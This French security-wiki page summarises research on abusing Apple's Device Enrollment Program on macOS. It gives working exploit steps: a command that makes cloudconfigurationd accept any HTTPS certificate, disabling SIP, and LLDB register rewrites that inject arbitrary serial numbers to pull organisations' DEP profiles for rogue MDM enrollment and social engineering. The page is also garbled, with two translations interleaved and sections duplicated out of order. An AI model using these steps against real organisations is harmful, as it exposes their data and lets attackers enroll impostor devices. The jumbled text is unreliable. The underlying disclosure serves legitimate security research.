<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
## Intro
## Introduction
Comme [**mentionné précédemment**](./#what-is-mdm-mobile-device-management)**,** pour essayer d'inscrire un appareil dans une organisation, **seul un numéro de série appartenant à cette organisation est nécessaire**. Une fois l'appareil inscrit, plusieurs organisations installeront des données sensibles sur le nouvel appareil : certificats, applications, mots de passe WiFi, configurations VPN [et ainsi de suite](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
Par conséquent, cela pourrait être un point d'entrée dangereux pour les attaquants si le processus d'inscription n'est pas correctement protégé.
Comme [**mentionné précédemment**](./#what-is-mdm-mobile-device-management), pour essayer d'inscrire un appareil dans une organisation, **seul un numéro de série appartenant à cette organisation est nécessaire**. Une fois l'appareil inscrit, plusieurs organisations installeront des données sensibles sur le nouvel appareil : certificats, applications, mots de passe WiFi, configurations VPN [et ainsi de suite](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
Par conséquent, cela pourrait constituer un point d'entrée dangereux pour les attaquants si le processus d'inscription n'est pas correctement protégé.
**La recherche suivante est tirée de** [**https://duo.com/labs/research/mdm-me-maybe**](https://duo.com/labs/research/mdm-me-maybe)
**Ce qui suit est un résumé de la recherche [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). Consultez-la pour plus de détails techniques !**
## Inverser le processus
## Aperçu de l'analyse binaire DEP et MDM
### Binaires impliqués dans DEP et MDM
Cette recherche se penche sur les binaires associés au Programme d'inscription des appareils (DEP) et à la gestion des appareils mobiles (MDM) sur macOS. Les composants clés comprennent :
Tout au long de notre recherche, nous avons exploré les éléments suivants :
- **`mdmclient`** : Communique avec les serveurs MDM et déclenche les vérifications DEP sur les versions de macOS antérieures à 10.13.4.
- **`profiles`** : Gère les profils de configuration et déclenche les vérifications DEP sur les versions de macOS 10.13.4 et ultérieures.
- **`cloudconfigurationd`** : Gère les communications API DEP et récupère les profils d'inscription des appareils.
* **`mdmclient`** : Utilisé par le système d'exploitation pour communiquer avec un serveur MDM. Sur macOS 10.13.3 et versions antérieures, il peut également être utilisé pour déclencher un check-in DEP.
* **`profiles`** : Un utilitaire qui peut être utilisé pour installer, supprimer et afficher les profils de configuration sur macOS. Il peut également être utilisé pour déclencher un check-in DEP sur macOS 10.13.4 et versions ultérieures.
* **`cloudconfigurationd`** : Le daemon client d'inscription des appareils, qui est responsable de la communication avec l'API DEP et de la récupération des profils d'inscription des appareils.
Les vérifications DEP utilisent les fonctions `CPFetchActivationRecord` et `CPGetActivationRecord` du framework privé Configuration Profiles pour récupérer l'Activation Record, `CPFetchActivationRecord` coordonnant avec `cloudconfigurationd` via XPC.
Lors de l'utilisation de `mdmclient` ou `profiles` pour initier un check-in DEP, les fonctions `CPFetchActivationRecord` et `CPGetActivationRecord` sont utilisées pour récupérer le _Record d'Activation_. `CPFetchActivationRecord` délègue le contrôle à `cloudconfigurationd` via [XPC](https://developer.apple.com/documentation/xpc), qui récupère ensuite le _Record d'Activation_ de l'API DEP.
## Ingénierie inverse du protocole Tesla et du schéma Absinthe
`CPGetActivationRecord` récupère le _Record d'Activation_ à partir du cache, si disponible. Ces fonctions sont définies dans le framework privé des profils de configuration, situé à `/System/Library/PrivateFrameworks/Configuration Profiles.framework`.
La vérification DEP implique que `cloudconfigurationd` envoie une charge utile JSON chiffrée et signée à _iprofiles.apple.com/macProfile_. La charge utile inclut le numéro de série de l'appareil et l'action "RequestProfileConfiguration". Le schéma de chiffrement utilisé est appelé en interne "Absinthe". Démêler ce schéma est complexe et implique de nombreuses étapes, ce qui a conduit à explorer des méthodes alternatives pour insérer des numéros de série arbitraires dans la demande d'Activation Record.
### Ingénierie inverse du protocole Tesla et du schéma Absinthe
## Interception des demandes DEP
Pendant le processus de check-in DEP, `cloudconfigurationd` demande un _Record d'Activation_ à _iprofiles.apple.com/macProfile_. Le payload de la requête est un dictionnaire JSON contenant deux paires clé-valeur :
```
{
"sn": "",
action": "RequestProfileConfiguration
}
```
Le payload est signé et chiffré en utilisant un schéma en interne appelé "Absinthe". Le payload chiffré est ensuite encodé en Base 64 et utilisé comme corps de la requête dans une requête HTTP POST vers _iprofiles.apple.com/macProfile_.
Les tentatives d'interception et de modification des demandes DEP vers _iprofiles.apple.com_ à l'aide d'outils comme Charles Proxy ont été entravées par le chiffrement de la charge utile et les mesures de sécurité SSL/TLS. Cependant, activer la configuration `MCCloudConfigAcceptAnyHTTPSCertificate` permet de contourner la validation du certificat du serveur, bien que la nature chiffrée de la charge utile empêche toujours la modification du numéro de série sans la clé de déchiffrement.
Dans `cloudconfigurationd`, la récupération de l'_Activation Record_ est gérée par la classe `MCTeslaConfigurationFetcher`. Le déroulement général à partir de `[MCTeslaConfigurationFetcher enterState:]` est le suivant :
```
rsi = @selector(verifyConfigBag);
rsi = @selector(startCertificateFetch);
rsi = @selector(initializeAbsinthe);
rsi = @selector(startSessionKeyFetch);
rsi = @selector(establishAbsintheSession);
rsi = @selector(startConfigurationFetch);
rsi = @selector(sendConfigurationInfoToRemote);
rsi = @selector(sendFailureNoticeToRemote);
```
Depuis que le schéma **Absinthe** semble être utilisé pour authentifier les requêtes au service DEP, **l'ingénierie inverse** de ce schéma nous permettrait de faire nos propres requêtes authentifiées à l'API DEP. Cela s'est avéré **chronophage**, principalement à cause du nombre d'étapes impliquées dans l'authentification des requêtes. Plutôt que de décomposer entièrement le fonctionnement de ce schéma, nous avons choisi d'explorer d'autres méthodes pour insérer des numéros de série arbitraires dans le cadre de la demande d'_Activation Record_.
## Instrumentation des binaires système interagissant avec DEP
### Intercepter les requêtes DEP
L'instrumentation des binaires système comme `cloudconfigurationd` nécessite de désactiver la Protection de l'intégrité du système (SIP) sur macOS. Avec SIP désactivé, des outils comme LLDB peuvent être utilisés pour se connecter aux processus système et potentiellement modifier le numéro de série utilisé dans les interactions API DEP. Cette méthode est préférable car elle évite les complexités des autorisations et de la signature de code.
Nous avons exploré la faisabilité de proxyer les requêtes réseau vers _iprofiles.apple.com_ avec [Charles Proxy](https://www.charlesproxy.com). Notre objectif était d'inspecter le payload envoyé à _iprofiles.apple.com/macProfile_, puis d'insérer un numéro de série arbitraire et de rejouer la requête. Comme mentionné précédemment, le payload soumis à ce point de terminaison par `cloudconfigurationd` est au format [JSON](https://www.json.org) et contient deux paires clé-valeur.
```
{
"action": "RequestProfileConfiguration",
sn": "
}
```
Étant donné que l'API sur _iprofiles.apple.com_ utilise [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) (TLS), nous avons dû activer le Proxying SSL dans Charles pour cet hôte afin de voir le contenu en clair des requêtes SSL.
**Exploitation de l'instrumentation binaire :**
La modification de la charge utile de demande DEP avant la sérialisation JSON dans `cloudconfigurationd` s'est avérée efficace. Le processus impliquait :
Cependant, la méthode `-[MCTeslaConfigurationFetcher connection:willSendRequestForAuthenticationChallenge:]` vérifie la validité du certificat serveur et interrompra si la confiance envers le serveur ne peut être vérifiée.
```
[ERROR] Unable to get activation record: Error Domain=MCCloudConfigurationErrorDomain Code=34011
"The Device Enrollment server trust could not be verified. Please contact your system
administrator." UserInfo={USEnglishDescription=The Device Enrollment server trust could not be
verified. Please contact your system administrator., NSLocalizedDescription=The Device Enrollment
server trust could not be verified. Please contact your system administrator.,
MCErrorType=MCFatalError}
```
Le message d'erreur affiché ci-dessus se trouve dans un fichier binaire _Errors.strings_ avec la clé `CLOUD_CONFIG_SERVER_TRUST_ERROR`, qui est situé à `/System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings`, avec d'autres messages d'erreur associés.
```
$ cd /System/Library/CoreServices
$ rg "The Device Enrollment server trust could not be verified"
ManagedClient.app/Contents/Resources/English.lproj/Errors.strings
<snip>
```
Le fichier _Errors.strings_ peut être [affiché dans un format lisible par l'homme](https://duo.com/labs/research/mdm-me-maybe#error_strings_output) avec la commande intégrée `plutil`.
```
$ plutil -p /System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings
```
Après avoir examiné de plus près la classe `MCTeslaConfigurationFetcher`, il est devenu évident que ce comportement de confiance du serveur peut être contourné en activant l'option de configuration `MCCloudConfigAcceptAnyHTTPSCertificate` sur le domaine de préférence `com.apple.ManagedClient.cloudconfigurationd`.
```
loc_100006406:
rax = [NSUserDefaults standardUserDefaults];
rax = [rax retain];
r14 = [rax boolForKey:@"MCCloudConfigAcceptAnyHTTPSCertificate"];
r15 = r15;
[rax release];
if (r14 != 0x1) goto loc_10000646f;
```
L'option de configuration `MCCloudConfigAcceptAnyHTTPSCertificate` peut être définie avec la commande `defaults`.
```
sudo defaults write com.apple.ManagedClient.cloudconfigurationd MCCloudConfigAcceptAnyHTTPSCertificate -bool yes
```
Avec le proxy SSL activé pour _iprofiles.apple.com_ et `cloudconfigurationd` configuré pour accepter n'importe quel certificat HTTPS, nous avons tenté de réaliser une attaque de l'homme du milieu et de rejouer les requêtes dans Charles Proxy.
1. Connecter LLDB à `cloudconfigurationd`.
2. Localiser le point où le numéro de série du système est récupéré.
3. Injecter un numéro de série arbitraire dans la mémoire avant que la charge utile ne soit chiffrée et envoyée.
Cependant, puisque la charge utile incluse dans le corps de la requête HTTP POST vers _iprofiles.apple.com/macProfile_ est signée et chiffrée avec Absinthe, (`NACSign`), **il n'est pas possible de modifier la charge utile JSON en clair pour inclure un numéro de série arbitraire sans également avoir la clé pour la déchiffrer**. Bien qu'il serait possible d'obtenir la clé car elle reste en mémoire, nous avons plutôt choisi d'explorer `cloudconfigurationd` avec le débogueur [LLDB](https://lldb.llvm.org).
Cette méthode a permis de récupérer des profils DEP complets pour des numéros de série arbitraires, démontrant une vulnérabilité potentielle.
### Instrumentation des binaires système interagissant avec DEP
### Automatisation de l'instrumentation avec Python
La dernière méthode que nous avons explorée pour automatiser le processus de soumission de numéros de série arbitraires à _iprofiles.apple.com/macProfile_ consistait à instrumenter les binaires natifs qui interagissent directement ou indirectement avec l'API DEP. Cela a impliqué une exploration initiale de `mdmclient`, `profiles` et `cloudconfigurationd` dans [Hopper v4](https://www.hopperapp.com) et [Ida Pro](https://www.hex-rays.com/products/ida/), ainsi que de longues sessions de débogage avec `lldb`.
Le processus d'exploitation a été automatisé en utilisant Python avec l'API LLDB, ce qui permet d'injecter de manière programmée des numéros de série arbitraires et de récupérer les profils DEP correspondants.
L'un des avantages de cette méthode par rapport à la modification des binaires et à leur re-signature avec notre propre clé est qu'elle contourne certaines des restrictions d'entitlements intégrées dans macOS qui pourraient autrement nous dissuader.
### Impacts potentiels des vulnérabilités DEP et MDM
**Protection de l'intégrité du système**
La recherche a mis en évidence des préoccupations de sécurité significatives :
Pour instrumenter les binaires système, (tels que `cloudconfigurationd`) sur macOS, la [Protection de l'intégrité du système](https://support.apple.com/fr-fr/HT204899) (SIP) doit être désactivée. SIP est une technologie de sécurité qui protège les fichiers, dossiers et processus au niveau du système contre les manipulations, et est activée par défaut sur OS X 10.11 "El Capitan" et les versions ultérieures. [SIP peut être désactivée](https://developer.apple.com/library/archive/documentation/Security/Conceptual/System_Integrity_Protection_Guide/ConfiguringSystemIntegrityProtection/ConfiguringSystemIntegrityProtection.html) en démarrant en mode de récupération et en exécutant la commande suivante dans l'application Terminal, puis en redémarrant :
```
csrutil enable --without debug
```
Il convient de noter, cependant, que SIP est une fonctionnalité de sécurité utile et ne devrait être désactivée que pour la recherche et les tests sur des machines non productives. Il est également possible (et recommandé) de le faire sur des Machines Virtuelles non critiques plutôt que sur le système d'exploitation hôte.
1. **Divulgation d'informations** : En fournissant un numéro de série enregistré dans DEP, des informations organisationnelles sensibles contenues dans le profil DEP peuvent être récupérées.
2. **Inscription DEP frauduleuse** : Sans une authentification appropriée, un attaquant avec un numéro de série enregistré dans DEP peut inscrire un appareil frauduleux dans le serveur MDM d'une organisation, potentiellement accéder à des données sensibles et des ressources réseau.
**Instrumentation Binaire Avec LLDB**
Avec SIP désactivé, nous avons ensuite pu avancer avec l'instrumentation des binaires système qui interagissent avec l'API DEP, à savoir, le binaire `cloudconfigurationd`. Comme `cloudconfigurationd` nécessite des privilèges élevés pour s'exécuter, nous devons démarrer `lldb` avec `sudo`.
```
$ sudo lldb
(lldb) process attach --waitfor --name cloudconfigurationd
```
Alors que `lldb` est en attente, nous pouvons nous attacher à `cloudconfigurationd` en exécutant `sudo /usr/libexec/mdmclient dep nag` dans une fenêtre de Terminal séparée. Une fois attaché, une sortie similaire à la suivante sera affichée et les commandes LLDB peuvent être saisies à l'invite.
```
Process 861 stopped
* thread #1, stop reason = signal SIGSTOP
<snip>
Target 0: (cloudconfigurationd) stopped.
Executable module set to "/usr/libexec/cloudconfigurationd".
Architecture set to: x86_64h-apple-macosx.
(lldb)
```
**Définition du numéro de série de l'appareil**
L'une des premières choses que nous avons recherchées en inversant `mdmclient` et `cloudconfigurationd` était le code responsable de la récupération du numéro de série du système, car nous savions que le numéro de série était finalement responsable de l'authentification de l'appareil. Notre objectif était de modifier le numéro de série en mémoire après qu'il soit récupéré de l'[`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), et de l'utiliser lorsque `cloudconfigurationd` construit le payload `macProfile`.
Bien que `cloudconfigurationd` soit finalement responsable de la communication avec l'API DEP, nous avons également examiné si le numéro de série du système est récupéré ou utilisé directement dans `mdmclient`. Le numéro de série récupéré comme indiqué ci-dessous n'est pas celui qui est envoyé à l'API DEP, mais il a révélé un numéro de série codé en dur qui est utilisé si une option de configuration spécifique est activée.
```
int sub_10002000f() {
if (sub_100042b6f() != 0x0) {
r14 = @"2222XXJREUF";
}
else {
rax = IOServiceMatching("IOPlatformExpertDevice");
rax = IOServiceGetMatchingServices(*(int32_t *)*_kIOMasterPortDefault, rax, &var_2C);
<snip>
}
rax = r14;
return rax;
}
```
Le numéro de série du système est récupéré à partir de [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), à moins que la valeur de retour de `sub_10002000f` ne soit non nulle, auquel cas il est défini sur la chaîne statique "2222XXJREUF". En inspectant cette fonction, il semble qu'elle vérifie si le "mode de test de stress du serveur" est activé.
```
void sub_1000321ca(void * _block) {
if (sub_10002406f() != 0x0) {
*(int8_t *)0x100097b68 = 0x1;
sub_10000b3de(@"Server stress test mode enabled", rsi, rdx, rcx, r8, r9, stack[0]);
}
return;
}
```
Nous avons documenté l'existence du "mode de test de stress du serveur", mais nous ne l'avons pas exploré davantage, car notre objectif était de modifier le numéro de série présenté à l'API DEP. Au lieu de cela, nous avons testé si la modification du numéro de série pointé par le registre `r14` suffirait à récupérer un _Enregistrement d'Activation_ qui n'était pas destiné à la machine sur laquelle nous effectuions des tests.
Ensuite, nous avons examiné comment le numéro de série du système est récupéré au sein de `cloudconfigurationd`.
```
int sub_10000c100(int arg0, int arg1, int arg2, int arg3) {
var_50 = arg3;
r12 = arg2;
r13 = arg1;
r15 = arg0;
rbx = IOServiceGetMatchingService(*(int32_t *)*_kIOMasterPortDefault, IOServiceMatching("IOPlatformExpertDevice"));
r14 = 0xffffffffffff541a;
if (rbx != 0x0) {
rax = sub_10000c210(rbx, @"IOPlatformSerialNumber", 0x0, &var_30, &var_34);
r14 = rax;
<snip>
}
rax = r14;
return rax;
}
```
Comme on peut le voir ci-dessus, le numéro de série est également récupéré depuis le [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry) dans `cloudconfigurationd`.
En utilisant `lldb`, nous avons pu modifier le numéro de série récupéré depuis le [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry) en plaçant un point d'arrêt sur `IOServiceGetMatchingService` et en créant une nouvelle variable de chaîne contenant un numéro de série arbitraire et en réécrivant le registre `r14` pour pointer vers l'adresse mémoire de la variable que nous avons créée.
```
(lldb) breakpoint set -n IOServiceGetMatchingService
# Run `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window.
(lldb) process attach --waitfor --name cloudconfigurationd
Process 2208 stopped
* thread #2, queue = 'com.apple.NSXPCListener.service.com.apple.ManagedClient.cloudconfigurationd',
stop reason = instruction step over frame #0: 0x000000010fd824d8
cloudconfigurationd`___lldb_unnamed_symbol2$$cloudconfigurationd + 73
cloudconfigurationd`___lldb_unnamed_symbol2$$cloudconfigurationd:
-> 0x10fd824d8 <+73>: movl %ebx, %edi
0x10fd824da <+75>: callq 0x10ffac91e ; symbol stub for: IOObjectRelease
0x10fd824df <+80>: testq %r14, %r14
0x10fd824e2 <+83>: jne 0x10fd824e7 ; <+88>
Target 0: (cloudconfigurationd) stopped.
(lldb) continue # Will hit breakpoint at `IOServiceGetMatchingService`
# Step through the program execution by pressing 'n' a bunch of times and
# then 'po $r14' until we see the serial number.
(lldb) n
(lldb) po $r14
C02JJPPPQQQRR # The system serial number retrieved from the `IORegistry`
# Create a new variable containing an arbitrary serial number and print the memory address.
(lldb) p/x @"C02XXYYZZNNMM"
(__NSCFString *) $79 = 0x00007fb6d7d05850 @"C02XXYYZZNNMM"
# Rewrite the `r14` register to point to our new variable.
(lldb) register write $r14 0x00007fb6d7d05850
(lldb) po $r14
# Confirm that `r14` contains the new serial number.
C02XXYYZZNNMM
```
Bien que nous ayons réussi à modifier le numéro de série récupéré depuis [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), la charge utile `macProfile` contenait toujours le numéro de série du système, et non celui que nous avions écrit dans le registre `r14`.
**Exploit : Modification du dictionnaire de requête de profil avant la sérialisation JSON**
Ensuite, nous avons tenté de définir le numéro de série envoyé dans la charge utile `macProfile` d'une manière différente. Cette fois, au lieu de modifier le numéro de série du système récupéré via [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), nous avons essayé de trouver le point le plus proche dans le code où le numéro de série est encore en texte clair avant d'être signé avec Absinthe (`NACSign`). Le meilleur point à examiner semblait être `-[MCTeslaConfigurationFetcher startConfigurationFetch]`, qui effectue approximativement les étapes suivantes :
* Crée un nouvel objet `NSMutableData`
* Appelle `[MCTeslaConfigurationFetcher setConfigurationData:]`, en lui passant le nouvel objet `NSMutableData`
* Appelle `[MCTeslaConfigurationFetcher profileRequestDictionary]`, qui retourne un objet `NSDictionary` contenant deux paires clé-valeur :
* `sn` : Le numéro de série du système
* `action` : L'action à distance à effectuer (avec `sn` comme argument)
* Appelle `[NSJSONSerialization dataWithJSONObject:]`, en lui passant le `NSDictionary` de `profileRequestDictionary`
* Signe la charge utile JSON en utilisant Absinthe (`NACSign`)
* Encode en base64 la charge utile JSON signée
* Définit la méthode HTTP sur `POST`
* Définit le corps HTTP sur la charge utile JSON signée et encodée en base64
* Définit l'en-tête HTTP `X-Profile-Protocol-Version` sur `1`
* Définit l'en-tête HTTP `User-Agent` sur `ConfigClient-1.0`
* Utilise la méthode `[NSURLConnection alloc] initWithRequest:delegate:startImmediately:]` pour effectuer la requête HTTP
Nous avons ensuite modifié l'objet `NSDictionary` retourné par `profileRequestDictionary` avant qu'il ne soit converti en JSON. Pour ce faire, un point d'arrêt a été placé sur `dataWithJSONObject` afin de nous rapprocher autant que possible des données encore non converties. Le point d'arrêt a été fructueux, et lorsque nous avons imprimé le contenu du registre que nous connaissions grâce au désassemblage (`rdx`), nous avons obtenu les résultats attendus.
```
po $rdx
{
action = RequestProfileConfiguration;
sn = C02XXYYZZNNMM;
}
```
La représentation ci-dessus est une version mise en forme de l'objet `NSDictionary` renvoyé par `[MCTeslaConfigurationFetcher profileRequestDictionary]`. Notre prochain défi était de modifier le `NSDictionary` en mémoire contenant le numéro de série.
```
(lldb) breakpoint set -r "dataWithJSONObject"
# Run `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window.
(lldb) process attach --name "cloudconfigurationd" --waitfor
Process 3291 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x00007fff2e8bfd8f Foundation`+[NSJSONSerialization dataWithJSONObject:options:error:]
Target 0: (cloudconfigurationd) stopped.
# Hit next breakpoint at `dataWithJSONObject`, since the first one isn't where we need to change the serial number.
(lldb) continue
# Create a new variable containing an arbitrary `NSDictionary` and print the memory address.
(lldb) p/x (NSDictionary *)[[NSDictionary alloc] initWithObjectsAndKeys:@"C02XXYYZZNNMM", @"sn",
@"RequestProfileConfiguration", @"action", nil]
(__NSDictionaryI *) $3 = 0x00007ff068c2e5a0 2 key/value pairs
# Confirm that `rdx` contains the new `NSDictionary`.
po $rdx
{
action = RequestProfileConfiguration;
sn = <new_serial_number>
}
```
La liste ci-dessus fait ce qui suit :
* Crée un point d'arrêt d'expression régulière pour le sélecteur `dataWithJSONObject`
* Attend que le processus `cloudconfigurationd` démarre, puis s'y attache
* `continue` l'exécution du programme, (car le premier point d'arrêt que nous rencontrons pour `dataWithJSONObject` n'est pas celui appelé sur le `profileRequestDictionary`)
* Crée et imprime (au format hexadécimal en raison du `/x`) le résultat de la création de notre `NSDictionary` arbitraire
* Comme nous connaissons déjà les noms des clés requises, nous pouvons simplement définir le numéro de série à celui de notre choix pour `sn` et laisser l'action telle quelle
* L'impression du résultat de la création de ce nouveau `NSDictionary` nous indique que nous avons deux paires clé-valeur à un emplacement mémoire spécifique
Notre dernière étape était maintenant de répéter la même étape d'écriture dans `rdx` l'emplacement mémoire de notre objet `NSDictionary` personnalisé qui contient notre numéro de série choisi :
```
(lldb) register write $rdx 0x00007ff068c2e5a0 # Rewrite the `rdx` register to point to our new variable
(lldb) continue
```
Ce pointeur dirige le registre `rdx` vers notre nouveau `NSDictionary` juste avant qu'il ne soit sérialisé en [JSON](https://www.json.org) et `POST`é à _iprofiles.apple.com/macProfile_, puis reprend le flux du programme avec `continue`.
Cette méthode de modification du numéro de série dans le dictionnaire de demande de profil avant d'être sérialisé en JSON a fonctionné. En utilisant un numéro de série Apple enregistré DEP connu comme valide au lieu de (null), le journal de débogage pour `ManagedClient` a affiché le profil DEP complet pour l'appareil :
```
Apr 4 16:21:35[660:1]:+CPFetchActivationRecord fetched configuration:
{
AllowPairing = 1;
AnchorCertificates = (
);
AwaitDeviceConfigured = 0;
ConfigurationURL = "https://some.url/cloudenroll";
IsMDMUnremovable = 1;
IsMandatory = 1;
IsSupervised = 1;
OrganizationAddress = "Org address";
OrganizationAddressLine1 = "More address";
OrganizationAddressLine2 = NULL;
OrganizationCity = A City;
OrganizationCountry = US;
OrganizationDepartment = "Org Dept";
OrganizationEmail = "dep.management@org.url";
OrganizationMagic = <unique string>;
OrganizationName = "ORG NAME";
OrganizationPhone = "+1551234567";
OrganizationSupportPhone = "+15551235678";
OrganizationZipCode = "ZIPPY";
SkipSetup = (
AppleID,
Passcode,
Zoom,
Biometric,
Payment,
TOS,
TapToSetup,
Diagnostics,
HomeButtonSensitivity,
Android,
Siri,
DisplayTone,
ScreenSaver
);
SupervisorHostCertificates = (
);
}
```
Avec quelques commandes `lldb`, nous pouvons insérer avec succès un numéro de série arbitraire et obtenir un profil DEP qui inclut diverses données spécifiques à l'organisation, y compris l'URL d'inscription MDM de l'organisation. Comme discuté, cette URL d'inscription pourrait être utilisée pour inscrire un appareil malveillant maintenant que nous connaissons son numéro de série. Les autres données pourraient être utilisées pour ingénierie sociale une inscription malveillante. Une fois inscrit, l'appareil pourrait recevoir un certain nombre de certificats, profils, applications, configurations VPN, etc.
### Automatisation de l'instrumentation de `cloudconfigurationd` avec Python
Une fois que nous avions la preuve de concept initiale démontrant comment récupérer un profil DEP valide en utilisant juste un numéro de série, nous avons cherché à automatiser ce processus pour montrer comment un attaquant pourrait abuser de cette faiblesse dans l'authentification.
Heureusement, l'API LLDB est disponible en Python via une [interface de pont de script](https://lldb.llvm.org/python-reference.html). Sur les systèmes macOS avec les [Outils de ligne de commande Xcode](https://developer.apple.com/download/more/) installés, le module `lldb` Python peut être importé comme suit :
```
import lldb
```
Cela a rendu relativement facile le scriptage de notre preuve de concept démontrant comment insérer un numéro de série enregistré DEP et recevoir en retour un profil DEP valide. La preuve de concept que nous avons développée prend une liste de numéros de série séparés par des sauts de ligne et les injecte dans le processus `cloudconfigurationd` pour vérifier les profils DEP.
![Paramètres de proxy SSL Charles.](https://duo.com/img/asset/aW1nL2xhYnMvcmVzZWFyY2gvaW1nL2NoYXJsZXNfc3NsX3Byb3h5aW5nX3NldHRpbmdzLnBuZw==?w=800\&fit=contain\&s=d1c9216716bf619e7e10e45c9968f83b)
![Notification DEP.](https://duo.com/img/asset/aW1nL2xhYnMvcmVzZWFyY2gvaW1nL2RlcF9ub3RpZmljYXRpb24ucG5n?w=800\&fit=contain\&s=4f7b95efd02245f9953487dcaac6a961)
### Impact
Il existe un certain nombre de scénarios dans lesquels le Programme d'Inscription d'Appareils d'Apple pourrait être abusé, ce qui conduirait à exposer des informations sensibles sur une organisation. Les deux scénarios les plus évidents impliquent l'obtention d'informations sur l'organisation à laquelle appartient un appareil, qui peuvent être récupérées à partir du profil DEP. Le second consiste à utiliser ces informations pour effectuer une inscription DEP et MDM frauduleuse. Chacun de ces points est discuté plus en détail ci-dessous.
#### Divulgation d'Informations
Comme mentionné précédemment, une partie du processus d'inscription DEP implique la demande et la réception d'un _Enregistrement d'Activation_, (ou profil DEP), de l'API DEP. En fournissant un numéro de série de système enregistré DEP valide, nous sommes en mesure de récupérer les informations suivantes, (soit imprimées sur `stdout` soit écrites dans le journal `ManagedClient`, selon la version de macOS).
```
Activation record: {
AllowPairing = 1;
AnchorCertificates = (
<array_of_der_encoded_certificates>
);
AwaitDeviceConfigured = 0;
ConfigurationURL = "https://example.com/enroll";
IsMDMUnremovable = 1;
IsMandatory = 1;
IsSupervised = 1;
OrganizationAddress = "123 Main Street, Anywhere, , 12345 (USA)";
OrganizationAddressLine1 = "123 Main Street";
OrganizationAddressLine2 = NULL;
OrganizationCity = Anywhere;
OrganizationCountry = USA;
OrganizationDepartment = "IT";
OrganizationEmail = "dep@example.com";
OrganizationMagic = 105CD5B18CE24784A3A0344D6V63CD91;
OrganizationName = "Example, Inc.";
OrganizationPhone = "+15555555555";
OrganizationSupportPhone = "+15555555555";
OrganizationZipCode = "12345";
SkipSetup = (
<array_of_setup_screens_to_skip>
);
SupervisorHostCertificates = (
);
}
```
Bien que certaines de ces informations puissent être publiquement disponibles pour certaines organisations, avoir un numéro de série d'un appareil appartenant à l'organisation ainsi que les informations obtenues du profil DEP pourrait être utilisé contre le service d'assistance ou l'équipe informatique d'une organisation pour réaliser un certain nombre d'attaques d'ingénierie sociale, telles que demander une réinitialisation de mot de passe ou de l'aide pour inscrire un appareil sur le serveur MDM de l'entreprise.
#### Inscription DEP Malveillante
Le [protocole MDM d'Apple](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf) prend en charge - mais n'exige pas - l'authentification de l'utilisateur avant l'inscription MDM via [l'authentification de base HTTP](https://en.wikipedia.org/wiki/Basic\_access\_authentication). **Sans authentification, tout ce qui est nécessaire pour inscrire un appareil sur un serveur MDM via DEP est un numéro de série valide enregistré dans DEP**. Ainsi, un attaquant qui obtient un tel numéro de série (soit par [OSINT](https://en.wikipedia.org/wiki/Open-source\_intelligence), ingénierie sociale, ou par force brute), sera capable d'inscrire un appareil comme s'il appartenait à l'organisation, tant qu'il n'est pas actuellement inscrit sur le serveur MDM. En substance, si un attaquant gagne la course en initiant l'inscription DEP avant le véritable appareil, il peut assumer l'identité de cet appareil.
Les organisations peuvent - et le font - utiliser MDM pour déployer des informations sensibles telles que les certificats d'appareil et d'utilisateur, les données de configuration VPN, les agents d'inscription, les profils de configuration et diverses autres données internes et secrets organisationnels. De plus, certaines organisations choisissent de ne pas exiger l'authentification de l'utilisateur dans le cadre de l'inscription MDM. Cela présente divers avantages, tels qu'une meilleure expérience utilisateur, et ne pas avoir à [exposer le serveur d'authentification interne au serveur MDM pour gérer les inscriptions MDM qui ont lieu en dehors du réseau d'entreprise](https://docs.simplemdm.com/article/93-ldap-authentication-with-apple-dep).
